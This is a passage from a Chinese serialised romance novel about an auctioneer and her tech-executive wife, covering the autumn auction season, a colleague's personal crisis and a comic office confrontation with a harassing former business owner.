林棘知道她是个软心肠,或许还有些移情的因素,自然支持她的所有决定。 薄听:“不必。她被拘留这段时间正好够我准备秋拍。” 姜司意的好意点到为止,尊重别人的自尊心。 “好。那薄老师什么时候有空,我再去找你。” 和姜司意林棘分开后,薄听没有回家。 她不喜欢那栋阴森森的房子,满是那个女人的气息。 回了嘉仕比,在办公室的小床上,忍着身体的不适,努力让自己快些进入睡眠状态…… 其实前一晚林棘和姜司意都没怎么睡好。 姜司意本来让林棘别跟着去派出所,太早了,想让她再睡一会儿。 “当然不能让你自己去。” 林棘跟着她起床。 “不会睡不够么?”姜司意双掌捧着她的脸,担忧地轻轻揉着。 “这段时间我睡得都很饱,偶尔早起没事,我还没那么脆弱。而且那位薄老师还会不会带来其他的危险,暂时不知道。跟在你身边我才能安心。” 林棘就这样一起跟着来了派出所。 和薄听碰面后,确定了寻找玉佩的事,一直堵在姜司意心里的疙瘩,总算有了希望。 金石玉器部的秋拍已经结束,姜司意有两天的休息时间,两天之后再回去为自己的个人专场彩排。 今天可以休息,回到家后,被林棘抱在怀里,一起睡了个回笼觉。 午饭过后,林棘去书房开会了。 姜司意给林雪泊打电话,问及当年那枚青黄玉龙凤佩的事。 林雪泊那头也不知道喝了哪顿的酒,原本有点醉意,听到姜司意询问此事,语气很快转为清醒。 【那枚玉佩我就见过照片,应该是被当年那个杀千刀的人贩子转卖了。不止小佑,我和老孔也一直在寻找。就是细节太模糊,不好确认。】 姜司意点点头,看来只能通过仪器来匹配。 【当年的人贩子抓到了吗?】 林雪泊遗憾地轻叹着:【还没有。我一直在留意各个人贩子落入法网的新闻,一直都没找到和小佑描述匹配的人。当年监控太少了,这个人就像滴水入海,无从找起。】 如果找到玉佩,说不定就能追踪溯源,找到当年那人贩子,将这罪恶之源绳之于法。 这个恶人让小佑吃了那么多苦,险些毁了她的一生。一家人骨肉分离多年,还搅乱了她和小佑的婚约。 想到这些,姜司意心里便有一团无法遏制的怒意。 一定要抓住那个人,让人贩子接受该有的惩罚。 无论多难多累,耗费多少精力和金钱,姜司意都会坚持到底。 没能陪在小佑身边的那些日子,小佑心上被撕开的裂口,姜司意想试着为她好好地缝合…… 林棘在书房里开完会,接到樊青打来的电话。 简述姜骆一家现在鸡飞狗跳的现状。 姜骋在医院躺的这些日子,状况一直不见好,又没有留预嘱,后续的医疗费就是个无底洞。姜家已经破产,没有财力支持后续的治疗,姜骆和赵珺签署了放弃治疗的同意书。 在签署同意书的那一日,姜骋尸骨未寒,姜骆和赵珺就在医院大吵一架。 两人是已经准备要离婚了。 姜骆破产前路无望,变成植物人的儿子赵珺也不想要了。 早在两个月前赵珺就已经偷偷找到了下一个目标,一位小企业主。 小企业主现在手头就两家公司,加上一些新创企业的股份,比不上姜骆最鼎盛的时候。好就好在现在人家公司经营状况良好,未来还是有奔头的。 肯定比继续和姜骆过苦日子要强。 赵珺看透了这个男人没有办法东山再起了。 赵珺瞒着姜骆,和小企业主交往了一段时间,打算和姜骆这边离了之后就投奔她的新生活。 好死不死,在这个节骨眼上被姜骆发现她早就二心。 是赵珺劝说姜骆放弃姜骋的。 姜骆十万个不舍得,那可是儿子啊,他的命根子。 可也真没办法,没钱了。 含泪放弃了治疗,谁能想到,赵珺居然是为了彻底脱身。 姜骆大发雷霆,从病房吵到太平间,从太平间吵到火葬场。 周围的人都特好奇这对夫妻,居然能在这时候吵得面红耳赤。 姜骋头七都没过赵珺就走了。两人婚倒是拖着还没离,姜骆精神出了点问题,成天拿着把刀在赵珺新家附近晃荡。 姜骆和赵珺最后就是两伤的结局,林棘已经能够预见。 挺好,恶人生生世世相磨。 永远别再来烦姜司意。 想了想,给岑麓发微信,问她陶绪那间艺术品修复公司收购进展如何了。 一小时后,岑麓回复:【应该赶得上新年礼物。】 。:【你真好.gif】 城市那头正百无聊赖玩滑板的岑麓险些从滑板上摔下来,脸部着地。 看一眼,再看一眼,的确是林棘。 林棘现在整个“姜司意化”了。 怎么一个两个都在喂我狗粮。 哼,岑麓嫌弃地回了个“白眼”的表情包…… 那夜秋拍之后,姜司聆在西五区一夜之间名声大噪。 经纪人说各大画廊和拍卖公司都在求她的新画。 之前那副《幸福》她拍了照片给经纪人看过,经纪人跟她视频,让她把《幸福》运回去,估价已经估到八百万美元了。 姜司聆听到“八百万美元”,自动在脑海里换算成人民币,数着多少个0爽一爽,然后拒绝了经纪人。 【那是送给我妹的新婚礼物,已经挂在她家墙上了,她特别喜欢。等我再画吧,最近灵感爆炸。】 经纪人一口一个“BB”和“Bunny”,发了无数个“亲亲”“加油”的emoji过来。 姜司聆人在国内,感受不到自己现在在西五区圈子里有多抢手,依旧和格伦达在酒店对着画画,互相给对方提意见。 格伦达又去了两次康复科后,颈椎轻松多了。 颈椎轻松了,脑子也跟着灵光不少,大概是疏通了上下的道路,之前新画的最后一处细节一直举棋不定,这两天灵感如同脱缰的野狗,一鼓作气把新画完成。 姜司聆可太喜欢格伦达这幅新画了。 这是以姜司聆的手和眼为元素创作的画作。 延续她以往抽象和怪诞的风格,但色彩上有了不一样的明快。那份明快反而让她的个人风格更为独特。 即便是完全不懂油画的人,在看到这幅巨型画作时,也会一瞬间被击中心灵。 画的名字就叫——司聆。 中文的“司聆”。 格伦达自己也很满意,给经纪人看过后,经纪人无比兴奋。 预测这幅画的落槌价一定会超过四千万美元。 “姜司聆”这个名字,注定会在格伦达的艺术生涯上,挥下浓墨重彩的一笔。 无论是十年、二十年,还是一百年,说起格伦达,就一定会提及这幅画,提及姜司聆的名字。 姜司聆和格伦达在画前热吻,彼此纠缠,相互占有到脱力。 相拥而睡,醒来后继续恩爱。 在浓情蜜意中度过了三天的时光。 第三天清晨,格伦达抱着姜司聆,在地板上醒来。 醒来时第一眼看到了爱人,第二眼看到了画。 画里画外的美感,构成了难以言说的神性。 格伦达在晨光之中,亲吻她的灵感女神。 …… 金石玉器部的秋拍,在姜司意打头阵,吴一露、段凝和其他同事的共同努力下,完美收官。 大家都发挥得很不错,吴一露偷偷提前算一下业绩。 算了一半,还没加进王太太的压轴珠链王,不敢算了。 怕算下去今晚做梦都会笑醒。 以前的小添头是真出息了啊…… 这么高的业绩,比往年的书画部都高。 段凝刚刚收到小道消息,关起门来跟她说: “Oliver真以为黄清徵的画算给他部门,谁拍都能拍个两亿,连萧夺的画都拱手让给别的拍卖行,以为秋拍稳操胜券。谁能想到被你阴了,黄清徵的画在司意个人专场上拍,算她个人业绩,Oliver哭都来不及。今年书画部要迎来前所未有的大惨败啦。” 吴一露想起段凝在外面招惹了不知多少她都不认识的女人,一把拧在她侧腰,痛得一声惨叫。 “吴一露,你怎么拧人!” “什么叫我阴了他?这不是他自己贪心么。现在好了,燕总正好来视察,要是书画部占尽了拍品价值的优势还比不过我们部门的话,他这个经理也做到头了,有舅舅护着都不好使。” 想到春拍的时候,Oliver怂恿万欣去抢姜司意的拍卖会,段凝还是觉得这人无耻得要命,现在是罪有应得。 段凝:“活该,希望燕总大发神威,把他发配边疆,永远都别回来。” 不知道是不是段凝这张嘴开了光。 在书画部秋拍死线之前,Oliver都没能签来估值上亿的压轴拍品。 支柱之一的书画部面临没有蓝筹标杆的秋拍,这是J城嘉仕比创建以来第一次。 秋拍还没开拍,Oliver就说他病倒了,没法带队,厚颜无耻地做了撒手掌柜。 幸好书画部还有个能扛事的姚副经理,临时展开部门紧急会议。 夜里八点。 姜司意完成她个人专场最后一次彩排后,去找薄听的路上路过书画部,见整个部门灯火通明。 收回目光,穿过走廊,到了油画部。 整个办公室只剩薄听一人。 薄听已经换了副新的眼镜,助听器也配好了。 看到姜司意过来,小姑娘白白净净的一张脸,刚进屋眉心就微不可查地皱了皱。 薄听把窗户打开,散散烟味。 姜司意:“薄老师,我已经提交使用仪器的申请了。” “嗯,我通过了。” 姜司意看薄听依旧很憔悴,办公室也有生活的痕迹,估计这段时间她都住在这儿。 薄听去打印机拿仪器的使用说明时,在披下的发丝间,姜司意看到她右耳后侧有一道触目惊心的旧伤疤。 薄听转回来时,姜司意的目光没能及时收回,两个人猝不及防一个对视。 薄听下意识地摸了一下耳后,神色微微黯然。 “很早以前的伤了,不用在意,也不用怜悯我。” 姜司意“嗯”了一声。 “我的事,请你不要告诉别人。” “我当然不会把你的隐私透露给别人的。” 姜司意看薄听手里拿着烟,没点,有些焦虑地揉着。 “如果你不放心的话,我可以也跟你说一件我的事,作为交换。” 薄听闷了几息后说:“那是你吃亏了。” 姜司意第一次和一位不太熟悉的人说起她遇见林棘之前的痛苦。 其实和薄听有些类似。 那些迷茫、困惑和不知所措已经远离了。再次想起时,都会诧异当时究竟在犹豫什么,不舍什么,为什么没有干脆利落地和根本不爱自己的人直接分开。 听完姜司意的过往,薄听眼眸有些发直,半晌才说: “我和她……被命运绑在一起,很多很多年了。我已经分辨不出她是太过在意我,太想占有我,还是单纯以折磨我为乐,以讨一些安慰。” 不知道薄听和她妻子具体的过往,但有句话肯定适用于所有人。 姜司意:“我曾经也以为爱是在痛苦里寻找意义。直到遇到一颗真心。是那颗真心让我确定,真正爱你的人,永远不会舍得伤害你。” 薄听的眼眸忽地闪过动容的微光,心口控制不住地起伏了一下。 不想暴露太多情绪,转移了话题: “今晚只能暂时教给你一些简单的操作,等我回来再继续。” “回来?” “今晚我要飞一趟巴黎。” 油画部的秋拍马上就在眼前,作为油画部的经理和台柱子,这时候应该集中精力在彩排。 飞巴黎? 姜司意:“是出了什么事吗?” 薄听将打印好的使用说明钉在一起时,没抬头,只说: “我……结婚对象的家人,因为我和她的冲突,把今年油画部已经谈好的压轴拍品取消了。我需要去巴黎跟另一家接触的经纪公司协商,运一幅新的过来。再迟的话,审批就来不及了。” 姜司意一瞬间想起当初自己被宋慧为难时的感受。 很生气,又无可奈何。 今晚飞巴黎找画,时间也太紧张了,几乎是极限操作中的极限操作。 薄听已经在收拾东西,起身时眼前忽然发白,整个人摇摇欲坠。 三十多个小时没能入睡让她疲惫不堪,要不是姜司意眼疾手快扶扶住她,这会儿人已经摔到地上了。 将她慢慢扶到沙发上坐下,看薄听原本就惨白的脸此刻更是毫无血色,姜司意无奈地为她倒杯水。 “你这样不行啊,别说巴黎,就是这栋楼你都出不了。” 薄听握着水杯的手在控制不住地颤抖。 姜司意想了想,发了条微信出去。 很快收到了回复。 眼眸一亮。 行得通,太好了。 姜司意说:“薄老师,我有个提议,你看这样行不行……” 薄听虚弱地听完姜司意的话,有些惊讶。 “你居然认识她……如果真的能谈成,这份人情我不知道该拿什么回报你。” “就当是你帮我和我太太找玉佩的报答。”姜司意微笑道:“你今晚好好休息,明天我安排你们见面。” 薄听抬起布满血丝的眼睛,虚弱感笼罩在清冷的面容上,多年来王牌拍卖师的气质犹在,再疲倦,“谢谢”二字的音色依旧清澄。 …… 离开嘉仕比大厦,不远处的停车场,那辆熟悉的宾利不知等待她多久了。 “一颗真心”的主人,在寒风四起的夜里一如既往站在车外等待着。 只希望能早一眼看到自己的妻子。 “抱歉,有事情耽搁了。” 穿着呢子外套的姜司意快步小跑到林棘面前,呵出一团可爱的白气。 “是不是等很久了?” 林棘握住她的手,怎么冷冷的。 索性将她整个人抱入怀中,裹进自己的大衣里。 “不久。别着急,我又不会跑了。” 嘴上说着“别着急”的人其实比谁都急。 脑子里一分钟蹦出八百次“怎么还不出来要不我进去看看”的念头。 回去这一路,一直到进家门,姜司意把今晚和薄听的对话,以及跟薄听合作的所有细节都跟林棘全说了。 林棘一边将她的十指挨个焐热,一边慢吞吞道: “解释这么详细,怕我吃醋?” 姜司意小指软软地勾勾林棘的食指。 像在无声地哄她,也像在讨饶。 林棘将她小指捏住,指腹摩挲着。 “你有自己的判断,我当然无条件相信你。我这么乖,怎么会吃这种醋?” “没吃醋就好。”姜司意松了口气,“那我先去洗澡了。” 林棘:。 这么乖就换回一个“去洗澡了”? 难道不多宠一宠么? “怎么就走。” 把姜司意拉回来,圈在怀里。 穿着黑色紧身薄毛衣的姜司意更显得腰肢窈窕,身段诱人。 “我这么乖,没有奖励么?” 怎么会有人主动讨奖励啊。 姜司意笑着,微微踮起脚,环住林棘的脖子将她圈下来。 轻轻啾林棘的耳朵,从耳廓到耳垂,小舌贴了贴,再不太熟练地含住。 本就敏感的耳朵被吻了两下,酥酥痒痒的感觉弄得林棘后脊都麻了。 林棘托着姜司意的后脑,从客厅吻到衣帽间。 将她的衣服解开,半脱不脱地挂在手腕上。 两道难耐的喘息几乎融在一起,带着水汽的沐浴香蒸着体温。 姜司意被林棘依恋地搂入怀中,抱回卧室。 舒服得都要在林棘怀里睡着了,忽然脑海中浮现雪球斜眼看她的画面。 哎,还没喂雪球! 挣扎地起身。 可不能让雪球再觉得妈妈忽略了它。 姜司意去喂雪球了,侧卧在床上的林棘回味着刚才老婆的主动。 莫非是真怕我吃醋,才哄我。 怎么会。 我就不是那种胡乱吃醋,不懂事的人。 林棘拿来手机,出神的时候,双手自己鬼使神差地打开嘉仕比官网。 首页上是秋拍的宣传图。 最醒目的位置,赫然是姜司意和那个薄听并排站在一起的半身图。 【嘉仕比双子星闪耀秋拍】 双子星? 这行扎眼的字,让林棘眼皮微跳。 想了想,悄悄往屋外看了眼,姜司意还在喂雪球。 偷偷摸摸打开浏览器,在搜索栏里敲下“薄听”这两个字。 【作者有话说】 林棘:宠妻第四十二步,不要乱吃醋,如果真的不小心吃了,也要悄悄吃[可怜] 85 第85章 ◎请老婆检查0v0◎ 秋拍进入第二阶段,第一场拍卖是书画部。 书画部经理都“跑路了”,可想而知的惨败。 当晚顾总脸都黑了,燕总干脆就没去。 吴经理跟段凝和姜司意吃饭的时候说,她们经理群里已经有消息,Oliver这次算是把自己彻底作死了,燕总亲自发话要把他调走。 说是平级调动,其实是发配宁古塔。 段凝:“要不说我这嘴厉害呢,说什么什么就成真。” 吴一露的注意力被她的话带到她的嘴上,出神了片刻,很快收回,不知来由地清了清嗓子,回到正题。 “姚副这些年兢兢业业的,终于有机会升正了。小姜,你一去可能就是接姚副的班,副经理。” 段凝“哇”了一声,直拍姜司意的大腿。 “牛啊牛啊,嘉仕比最年轻的副经理,还是书画部的副经理!司意,你算是熬出头了!” 姜司意有点开心,但暂时不去多想副经理的事。 明天就是她的个人专场,她只想好好完成自己的专场。 未来的事留给未来去快乐或烦恼。 个人专场当天。 姜司意在候场化妆,听到门口有人喊了声“薄老师”。 往门口看,薄听在一众姜司意亲朋好友们送的花篮边上,又加了一个。 “薄老师。” 姜司意没想到她会来送花篮。 “看上去精神不错。” “心头大患解决了,昨晚稍微睡了一下。谢谢你和格伦达的帮助,不然油画部的秋拍可能会是另外一场灾难。”薄听嘴角有一丝很浅的笑意,“加油。” “谢谢薄老师。” 周围不少嘉仕比的同事都看到了这一幕,挺诧异的。 原来都以为这对双子星火。药。味十足,是实打实的竞争关系,肯定是互看不顺眼,王不见王。 谁能想到,一向独来独往的薄老师居然主动来送花篮,这可是闻所未闻的第一次。 她俩相处的这氛围,还有点像朋友?。 作为业界冉冉升起的新星,姜司意个人主题拍卖专场吸引了不少媒体。 家属们进场的时候,门口媒体区的自媒体有人认出了林棘,握着摄像机过来要采访她。 林棘以为对方认出她是幻维董事长,想要礼貌拒绝。 结果对方说:“请问您是姜老师的太太吗?” 姜老师的太太,AKA森林公园大合影硬要蹭粉丝合影的醋精老婆。 那张照片已经流传了大半个拍卖圈。 林棘已经走出去一步了,又退回来,调整好亲切的笑容,直面镜头: “我是。” 都已经想要挡下对方的樊青:…… 手抬起来了,又在半空自己握住自己,收回。 BOSS可真是,比任何突发事件都要让人防不胜防。 身为幻维董事长的林棘,预约难度堪称地狱级。 身为姜司意老婆,自媒体随便采是吧? 这位自媒体人是拍卖圈的,只知道林棘是姜司意老婆,不认识她这位科技新贵,很正常。 “请问您今天是来支持姜老师个人拍卖会的吗?二位的感情很好呀,对姜老师今天的表现有什么期待吗?” 林棘:“身为姜老师的妻子,陪伴她每一场重要拍卖会是毋庸置疑的。无论我太太表现如何,身为妻子我都以她为荣。而且身为她的妻子,我绝对相信我太太无论任何时候都是最耀眼的,最特别的。结果并不重要,作为永远支持她的妻子,只希望我太太享受能这一刻。” 自媒体:…… 对方听得都懵了。 好家伙,这是在练绕口令,还是在玩“猜一猜这句话里有几个‘妻子’几个‘太太’”的游戏? 就这么直接硬秀啊? 醋精老婆这个绰号看上去没起错……。 姜司意走上主拍台的时候,林棘才刚刚坐下。 林雪泊问林棘:“干什么去了呀,都要开始了。” 林棘:“当姜司意唯一真老婆去了。” 林雪泊:? 姜司意说完开场致辞,习惯性去找人群中的林棘。 再多人,再纷杂的环境里,她都能一眼锁定那道熟悉的身影。 两人的目光在人群中旁若无人地交汇。 林棘叠腿坐的时候,向她眨眨眼,牵起她嘴角安心的笑容。 个人专场的氛围很轻松。 今天所有拍品都是姜司意一件件,亲自签回来的。 站在主拍台上的年轻拍卖师依旧掌控着全场的节奏,松弛地介绍今天所有拍品和自己相识的故事。 每一件拍品都有一段记忆,一些缘分。 记录着她的来时路。 收藏品本身让人感兴趣的、价值的所在,就是铭刻在它身上的岁月和工艺。 姜司意想到林棘说的那句话—— 宝贝就该被懂它、珍视它的人收藏。 忽然明白了,为什么自己总是不舍得随意对待任何一件拍品。 即便当下它们很不起眼,很不受重视,姜司意潜意识里都会希望有朝一日,会遇到一位欣赏它,愿意喜欢它的收藏家。 姜司意想尽自己所能,让每一件与自己有缘的拍品,都寻找到懂它、爱它、珍藏它的买主。 今天这场专场,没什么压力的她刻意放慢了节奏,更多地介绍拍品本身具有的投资潜力、蕴藏的历史风貌、沉淀的艺术和一路流传至今的故事。 黄清徵和水墨画结缘的故事让人感慨,说得场内黄清徵本人都红了眼眶。 最终,专场所有拍品都顺利拍出。 没有太多引价的技巧,却让所有拍品的落槌价都高于估价。 黄清徵的画更是以惊人的两亿六千万成交。 开创了今年亚太地区所有拍卖行秋拍的最高记录。 也是黄清徵作品的最高记录。 落槌的那一刻,姜司意心情很平静。 她在一众亲朋好友的见证下,完美地完成了人生中第一次专场,以及整个秋拍的工作。 松了一口气的同时,也看清了另一条路。 初入行时只为了能够走上主拍台,成为真正的拍卖师。 今天已经在主拍台上站稳的她,抬头看到了另一条更高、更远,能让她走一辈子的漫漫长路。 ——尽她所能,为艺术品寻找到赏识它的伯乐。 这是条不太容易,却很有意义的路。 姜司意个人专场完美谢幕。 两日后,是油画部的大拍,也是嘉仕比的压轴大戏。 今年嘉仕比的秋拍真是波折不断。 油画部的蓝筹标杆临拍前突然更换,新图录都是连夜下场险些刷爆印刷机赶出来的。 这波极限操作差点把整个部门人都吓出个好歹。 面上都在互相鼓励“稳住,我们能赢”。 其实心里没少担心要和书画部一样完蛋。 没承想,薄听没去巴黎也没飞伦敦,踩着死线签回来的蓝筹标杆,居然是西五区成名多年的现代艺术领军人物格伦达的新作。 别说油画部的拍卖师们云里雾里,连顾总都疑惑不解,私下问薄听是怎么跟格伦达这种超级大神搭上线的。 薄听也没什么好藏,跟顾总实话实说。 “小姜搭的线。” 顾总更懵了。 按理来说她俩是妥妥的竞争关系,业绩上你死我活的死对头。 蓝筹标杆突然被撤,足以毁掉油画部整个秋拍,甚至是薄听岌岌可危的职业生涯。 要是薄听下去了,以后嘉仕比肯定就是姜司意的天下了。 没想到…… 关键时刻,居然是姜司意拉了她一把。 按理来说,姜司意有格伦达的关系,新作放到自己专场不是赚翻了么? 黄清徵和格伦达两大蓝筹握在手里,能惊动整个拍卖界。 居然舍得让给薄听。 顾总还是第一次真正见到,利益当前,还能真心实意愿意帮助竞争对手的人。 顾总乐呵呵的,“你俩挺有意思。” 更有意思的是秋拍之后的业绩排行。 如果按照真实业绩来排,姜司意两场拍卖的落槌价总额肯定是一骑绝尘的。 即便薄听最后将格伦达的新作拍出了三亿的天价,也追不上。 不过,姜司意并不想讨这个便宜。 “我两场合在一起对薄老师一场,胜之不武。” 而且薄老师因为一些私人原因,状态不太好,姜司意知道的。 这种情况下拿了第一也没什么意思。 薄听也说:“今年要不是你帮忙,我连个压轴的蓝筹都没有,这业绩本该算你的。” 姜司意和薄听相视一笑。 “明年再决胜负。” 这好啊,顾总可太激动了。 今年J城嘉仕比的总业绩已经是亚太第一了。 两位王牌这才开始较劲,明年得什么样?不得拿个全球第一回来? 这一年,J城嘉仕比姜司意和薄听业绩算并列第一。 金石玉器部的业绩也超过了书画部,历史性站到了第二的位置。 书画部连个第三都没排上。 在姜司意调任书画部之前,Oliver就被燕总亲自点名调走了,连一直帮着他撑腰的舅舅都没多放一个屁。 如吴经理所说,姜司意调去书画部就坐上了副经理的位置。 曾经的姚副经理取代了Oliver。 姚经理是位四十多岁的中年女性,年龄比Oliver大,资历也深,Oliver这些年靠着他公司合伙人舅舅的关系一直压她一头,让她怄得很。 头顶上这座大山终于被移走了,姚经理也知道这王八蛋能走,是托姜司意的福,心里记得姜司意的好。 姜司意一去书画部,姚经理就为她开了一场热闹的迎新派对。 派对那晚,姜司意拍手里的酒杯给林棘看。 袋装吐司:【可乐,还是无糖的,请老婆检查0v0】 林棘收到这条微信的时候,没当场被姜司意可爱死。 。:【妹妹好乖。】 站在角落的姜司意看到“妹妹”这个称呼,已经联想不到正经事了。 没喝酒的脸都红扑扑的。 。:【不用着急,今晚我也有事,需要加一会儿班。晚上家里见。】 看到这条微信,姜司意把已经打好的“我现在就回家喽”这几个字缓缓删除。 小佑要加班,那,今晚换我去接她下班吧。 还没九点姜司意就说要走,新同事们都好奇。 “怎么这么早,夜生活不是才要开始么。” 姜司意有点不好意思道:“去接我太太下班。” 一群人艳羡地“哦——”。 “真羡慕,感情真好啊!” “明天见,小姜经理!” 部门的同事基本上都比姜司意大,这声“小姜经理”叫起来谁都没负担,还挺亲切的。 姜司意跟大家告别,打了车前往幻维总部。 幻维总部楼下有个大型超市,最外面的档口是家很有品味的花店。 姜司意走过花店,又退回来。 黑巴克玫瑰暗红几近黑色的丝绒质感,很惊艳很特别,林棘肯定会喜欢。 今天不是什么特别的日子。 即便如此,也想让林棘享受意外的欢喜。 选了十七枝,又挑了包装纸,将黑玫瑰搂在怀中,用林棘早就给过她的权限卡刷卡进楼。 幻维的前台看到姜司意,眼前一亮。 好漂亮的小姐姐,怎么有点眼熟? 思绪一转,惊喜道:“是老板娘!” 姜司意:“……你好。” 居然认得她。 能不认识吗,她们那位冷面BOSS私下有多粘老婆,众所周知。 就算不知道BOSS是个老婆奴,今年多放一次小长假的恩人怎么会忘。 来找BOSS,还带着花。 非年非节的,好浪漫。 一看就是很温柔的人。 前台热情地带着她往林棘的办公室去。 林棘总是来接她下班,这段时间又格外多事,说起来这还是姜司意还是第一次走进幻维总部。 幻维比她想象得还大,非常新的科技公司,她记得林棘说她的办公室在一楼。 前台带着她往一楼尽头走去。 “棘董这会儿在见一位投资人,您先在她办公室等一会儿,我去跟她说一声。” 姜司意微笑道:“不用打扰她,我等她过来就好。” 坐到林棘的办公桌前,有些没来得及整理的凌乱文件,她帮忙叠好,就放在一旁。散落的签字笔也拿起,放到笔筒里。 稍微帮着收拾一下,林棘喜欢整洁。 桌面上放了好几个相框。 全是她们俩的合影。 还有一张姜司意小时候的照片,坐在钢琴前对着镜头笑。 这是翻拍的。 姜司意将花放到桌角,拿起相框。 什么时候偷偷翻拍的啊,都不知道。 这些照片都放在非常容易就能看的位置,不染半点灰尘。 一看就知道这办公桌的主人很爱她的妻子。 好笑的是,办公室正对着的玻璃幕墙之外,真的布置上了枯山水。* 姜司意正看着外面的景致发笑,前台倒来茶水,刚想再说什么,门口匆匆走来一个气势汹汹的同事,问前台: “那个姓周的又来找BOSS麻烦了?人呢?” 姜司意有些意外地看向她,找林棘麻烦? 脑海中立刻闪现林棘说她在海外出了车祸的事。 前台先对姜司意说:“茶有些烫,慢用。” 转身就将那同事推出去了,低声说了什么,姜司意听不太清。 “又”来找林棘的麻烦。 说明不是第一次了,这人是谁? 姜司意思索的同时,忽然发现桌边柜上放着一瓶熟悉的药。 瓶身都是英文,和度蜜月时见到的一模一样。 …… 这位“姓周的”,依旧是幻维最近收购案的主角,认死理一根筋的做派还是没变。来幻维闹过好多次,砸东西打保安。被押去派出所拘留了还死不悔改,刚放出来没多久,今天又来了。 到底吃过亏,这回不闹,就坐在幻维大门口,谁路过他都会恶狠狠地盯过去,作势要扑人家。 其实就是吓唬幻维的员工、合作商。 安保人员又要去揪他,被樊青拦下。 之前几次都是樊青将人弄到了派出所,看来不太奏效。 想要根治,还得让BOSS出损招。 林棘当时正在准备开会,收到樊青的微信,打开监控,看到那周总穿着件羽绒服坐在门口。 将周总所在区域的空调温度调至最高。 林棘:“在我回来之前别管他。” 樊青:“好的BOSS。” 这会一开就是两个小时。 散会后,林棘除去外套,就穿了件短袖,从自动贩卖机里拿了几罐冰镇碳酸饮料,走到门口。 那周总已经热得脱掉了羽绒服,里面加绒的衬衣后背也湿了一大片,正用袖子抹额头上的汗。 林棘走过来,什么也没说,先给他递饮料。 冰镇的碳酸饮料,让此刻热到发燥的周总难以抗拒,一口气喝了两罐。 “周总有什么诉求?” 林棘再帮他打开,继续递饮料。 这个周总把公司卖了之后,好死不死行业开始回暖,他觉得卖便宜了,想把公司讨回来,就成天来幻维闹。 周总无赖到底,“我要我的公司,这就是我的诉求,那可是我全部的心血啊。” “我记得当初收购也是周总找到我,自荐的。” “当时的市场行情不一样啊,我后悔了,谁的人生能每一步都走对呢?总该有后悔的余地吧?” 周总情绪激动,又渴得要命,不经意间又喝完一罐。 林棘没说话,继续慢吞吞地给他开饮料罐。 周总说着说着,憋不住了,不想起来也得起来,到处找厕所。 人总算离开了大门口,林棘问身后的樊青: “这层的男卫生间门是坏了吧?” 樊青想了想,笑道:“我明白了,它是坏了。” 学到了,损招还是得看BOSS。 周总去卫生间方便完,想出去发现门被锁了。 敲了大半天,进来好几个人。 投资并购部的总经理、收购案的负责人、几名安保人员。 以及林棘的助理,樊青。 一群人把周总围在卫生间里,吓得他一步步退到角落。 “你们、你们想干嘛!” 那个眼睛上有疤的助理笑着说: “我们审计团队在梳理旧账时,发现了周总您一些历史遗留的小问题。比如三年前和顺通转账的处理,还有和您小舅子公司的那笔关联交易的定价。这些周总还记得吧。” 周总脸色瞬间变得极其难看,没想到幻维会查到这么隐蔽的事。 “……这些问题如果深究下去,可能就不只是商业纠纷了。会不会引来税务稽查也不一定。我们幻维是完全不介意配合调查的,我们能将损失控制到最小。您不一样,您可是上有老下有小。” 周总被樊青意味深长的眼神弄得腿一阵阵发软。 …… 林棘见完投资人,从会客厅出来时,收到樊青发来的信息。 【周总想要当面跟你道歉。】 林棘冷嗤一声。 看来是解决了。 本不想见,但已经从前方的玻璃倒影里看到了失魂落魄的周总。 周总只看到林棘的背影,眼神都在犯怵。 这个女人,年纪不大,手段是真狠,专门卡人七寸。 无计可施,心里极度不甘。 周总努力控制着怨憎的表情,思索着道歉的话,好让林棘别记恨他,不然他进去了这辈子就真完了。 林棘就要转身时,忽然在倒影里看到了姜司意。 一怔。 还以为是自己心里一直惦记着妻子,看谁都像。 但怎么会认错她。 是真的司意。 司意怎么来了。 林棘提起笑容转过身,却见姜司意根本没看向她。 原本纯然典雅的脸,此刻表情紧绷到应激,快步走上来,细细的胳膊抱起垃圾桶,用力砸在周总身上。 咣—— 整个办公室的人都哆嗦了一下,纷纷往这里看。 十分钟前。 姜司意在林棘办公室里,用手机搜索到了周总和幻维最近的过结。 看到新闻说,这姓周的已经骚扰林棘很久,被拘留了还敢再来。 林棘在国外遇险和曾经被拐卖的经历,让姜司意大脑中一秒拉响警报。 立刻去找林棘,她要立刻守在林棘身边。 远远地看见,那个姓周的正悄没声息站在林棘身后,脸上带着深深的怨憎。 来不及想这是林棘的公司,樊青和其他的安保都会在附近,姜司意立刻上前。 看那姓周的向林棘踏出一步,姜司意大脑里只剩下“他要伤害小佑”这一个想法。 学了这么久的格斗课程,在上课时练习得有模有样的招式,情急之下统统想不起来。 甚至没看清拿起的是个垃圾桶。 哐哐哐哐—— 狠狠砸在姓周的身上,一下比一下狠。 林棘:? 樊青:?? 全公司的人:??? 周总被突如其来的垃圾桶进攻打倒在地,嗷嗷叫唤。 站在消防通道门口的周霓,第一次不知道该救谁…… 姜司意清秀的脸庞,因剧烈运动和情绪激动红透了。 喘着气挡在林棘面前,整个人都在轻颤,却用垃圾桶指着周总,用命令的语气说: “退后。” 用尽全力让自己看上去凶狠无比,谁都不能越过她的保护去伤害她身后人。 连林棘都是第一次见到这样的姜司意。 心砰砰乱跳,都忘了解释。 周总脑袋上还顶着纸团,没起身,双手合十哭丧着脸,弱声道: “我、我我我退到哪里才能跟棘董道歉?” 姜司意:? 【作者有话说】 林棘:今天是被老婆宠得哐哐响的一天[狗头] 86 第86章 尾声(上) ◎浸透了潮湿重量的诱惑◎ 原来是来道歉的。 姜司意不仅打了人家,还打得哐哐响。 一楼办公区的目光都汇聚在姜司意身上。 没想到,BOSS的太太看上去斯斯文文的秀气,打起人来垃圾桶都给打变形了。 整个人红透的姜司意一眼都不敢多看,被林棘护着,迅速藏进办公室里。 合上门,发现林棘眼里的笑意就没下去过。 “别笑了……” 姜司意指尖都红了。 “嗯,不笑。” 喝水的时候用水杯挡住脸,漏在外面的嘴角分明是上扬的。 “林棘!” 原来草食动物也能很凶。 不仅能用垃圾桶打人,还会扑人。 姜司意只想将林棘坏透的笑脸遮起来,没想到这一扑,整个人扑到对方的怀里。 嘴是捂住了,却是迎面坐到她腿上,完全的投怀送抱。 门和窗都是关着的,这个姿势出现在林棘一丝不苟的办公室里,被周围规整的办公物件和冷硬的装修风格衬托得非常暧昧。 本来就烫得要命的脸庞,这下更是像烧起来。 想要下去,后腰被林棘手掌撑着,摁回来,贴得更紧。 不够,双臂还从腰侧穿插缠上。 林棘:“安全带已系好,不用怕摔下去了。” 姜司意:“……没有要安全带,我就是要下去!” “说坐就坐,说走可走不了。” 